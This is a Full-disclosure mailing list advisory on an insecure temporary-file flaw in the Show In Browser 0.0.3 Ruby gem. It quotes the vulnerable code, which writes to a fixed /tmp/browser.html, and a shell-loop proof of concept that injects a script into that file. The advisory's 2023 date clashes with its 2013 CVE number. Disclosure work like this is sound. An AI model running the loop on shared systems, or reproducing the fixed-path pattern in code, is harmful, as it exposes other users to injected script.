[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[Full-disclosure] Show In Browser 0.0.3 Ruby Gem /tmp file injection vulnerability



<html><body><div><pre>TITLE: Show In Browser 0.0.3 Ruby Gem /tmp file injection 
vulnerability.

DATE: 5/15/2023

AUTHOR: Larry W. Cashdollar (@_larry0)

DOWNLOAD: https://rubygems.org/gems/show_in_browser

DESCRIPTION: Opens arbitrary text in your browser

VENDOR: Jonathan Leung

FIX: N/A

CVE: 2013-2105

DETAILS: The following code uses the temporary file "/tmp/browser.html" 
insecurely.

 2   FILE_LOCATION = "/tmp/browser.html"

3 4 class &lt;&lt; self 5 6 def show(html)

 7       file = File.open(FILE_LOCATION, 'w')
 8       file.write(html)
 9       file.close
10 
11 `open #{FILE_LOCATION}`


By a malicious user creating /tmp/browser.html first and repeatedly writing to 
it they can inject malicious html into 
the file right before it is about to be opened.

PoC:


nobody () pitter:/$ while (true); do echo "&lt;script&gt; alert('Hello'); 
&lt;/script&gt;" &gt;&gt; /tmp/browser.html; done

Will pop up a java script alert in other gem users browser. <br><br>ADVISORY: 
http://vapid.dhs.org/advisories/show_in_browser.html<br></pre></div></body></html>
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/